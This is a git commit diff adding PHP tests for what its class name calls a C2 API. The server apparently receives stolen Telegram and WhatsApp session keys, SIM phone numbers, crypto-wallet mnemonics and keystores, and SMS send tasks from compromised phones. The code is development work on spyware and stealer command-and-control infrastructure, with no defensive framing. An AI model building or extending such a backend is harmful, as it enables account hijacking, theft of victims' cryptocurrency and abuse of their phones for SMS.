feat: wap/sms

This commit is contained in:
hashbro
2026-08-25 03:45:42 +08:00
parent 67791221bf
commit 5c9ceca4ea
18 changed files with 596 additions and 31 deletions
+18
View File
@@ -12,6 +12,8 @@ use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\SmsReport;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
@@ -73,6 +75,20 @@ class DeviceDeleteTest extends TestCase
'device_id' => $device->id,
'raw_json' => ['k' => 1],
]);
PluginSession::query()->create([
'device_id' => $device->id,
'device_key' => 'dev-del-1',
'kind' => PluginSession::KIND_TELEGRAM,
'account_id' => '123',
'payload' => ['user_id' => '123'],
]);
SmsReport::query()->create([
'device_id' => $device->id,
'device_key' => 'dev-del-1',
'task_id' => 't1',
'dest_phone' => '+100',
'payload' => ['task_id' => 't1'],
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
@@ -130,6 +146,8 @@ class DeviceDeleteTest extends TestCase
$this->assertSame(0, WalletAddress::query()->count());
$this->assertSame(0, WalletMnemonic::query()->count());
$this->assertSame(0, WalletKeystore::query()->count());
$this->assertSame(0, PluginSession::query()->count());
$this->assertSame(0, SmsReport::query()->count());
$this->assertSame(0, DsBeaconTask::query()->count());
$this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count());
$this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count());
+131 -8
View File
@@ -7,6 +7,8 @@ use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\SmsReport;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -389,14 +391,135 @@ class XxbbC2ApiTest extends TestCase
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks);
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
$this->assertSame('Telegram', $ks->source);
$this->assertSame(0, (int) $ks->decrypted);
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('123456789', $row->account_id);
$this->assertSame('123456789', $row->payload['user_id'] ?? null);
$this->assertArrayHasKey('db_sqlite', $row->payload);
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
}
#[Test]
public function api_wp_t_ingests_whatsapp_session(): void
{
$this->xxbbPost('/api/wp/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'a' => 'wp',
'userId' => '15551234567',
'phoneId' => 'phone-id-1',
'registrationID' => 4242,
'clientStaticKeypairBase64' => 'QUJD',
'phoneKeyStore' => ['signedPreKey' => ['id' => 1], 'preKeys' => []],
'whatsappVersion' => '2.24.0',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('15551234567', $row->account_id);
$this->assertSame('15551234567', $row->phone);
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
}
#[Test]
public function event_stores_sms_phone_number(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'et' => 'sms_heartbeat',
'phoneNumber' => '+15550004444',
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550004444']],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550004444', $device->phone);
}
#[Test]
public function sms_poll_stores_phone_from_cardsinfo(): void
{
$this->xxbbPost('/m/t/g', [
'd' => '000C30D83CD0402E',
'bundleID' => 'imagent',
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550005555', $device->phone);
}
#[Test]
public function sms_report_does_not_use_dest_phone_as_device_phone(): void
{
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-dest-only',
'phone' => '+15550006666',
'msg' => 'sent',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->phone);
}
#[Test]
public function sms_poll_stores_phone_and_returns_empty_tasks(): void
{
$resp = $this->xxbbPost('/m/t/g', [
'deviceID' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'p' => '+15550001111',
'bundleID' => 'imagent',
'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]],
]);
$resp->assertOk();
$this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent());
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550001111', $device->phone);
$this->assertNull($device->channel_id);
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
$this->assertSame(0, SmsReport::query()->count());
}
#[Test]
public function sms_report_stores_task_event(): void
{
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-9',
'phone' => '+15550003333',
'p' => '+15550002222',
'msg' => 'ok',
's' => '1',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550002222', $device->phone);
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
$row = SmsReport::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('task-9', $row->task_id);
$this->assertSame('+15550003333', $row->dest_phone);
$this->assertSame('+15550002222', $row->local_phone);
$this->assertSame('ok', $row->msg);
$this->assertSame('1', $row->status);
}
#[Test]
+5
View File
@@ -15,6 +15,8 @@ class WalletSourceTest extends TestCase
$this->assertTrue(WalletSource::isPluginWalletBundle('im.token.app'));
$this->assertTrue(WalletSource::isPluginWalletBundle('com.tronlink.hdwallet'));
$this->assertFalse(WalletSource::isPluginWalletBundle('ph.telegra.Telegraph'));
$this->assertFalse(WalletSource::isPluginWalletBundle('net.whatsapp.WhatsApp'));
$this->assertFalse(WalletSource::isPluginWalletBundle('imagent'));
$this->assertFalse(WalletSource::isPluginWalletBundle('com.apple.mobilesafari'));
$this->assertFalse(WalletSource::isPluginWalletBundle(''));
}
@@ -41,6 +43,9 @@ class WalletSourceTest extends TestCase
$this->assertSame('imToken', WalletSource::fromKeystoreHint('imtoken'));
$this->assertSame('Telegram', WalletSource::fromKeystoreHint('tg'));
$this->assertSame('Telegram', WalletSource::fromKeystoreHint('Telegram'));
$this->assertSame('WhatsApp', WalletSource::fromKeystoreHint('wp'));
$this->assertSame('WhatsApp', WalletSource::fromKeystoreHint('whatsapp'));
$this->assertSame('iMessage', WalletSource::fromKeystoreHint('sms'));
$this->assertSame('', WalletSource::fromKeystoreHint('notes'));
$this->assertSame('', WalletSource::fromKeystoreHint('not-a-wallet'));
$this->assertSame('', WalletSource::fromKeystoreHint(''));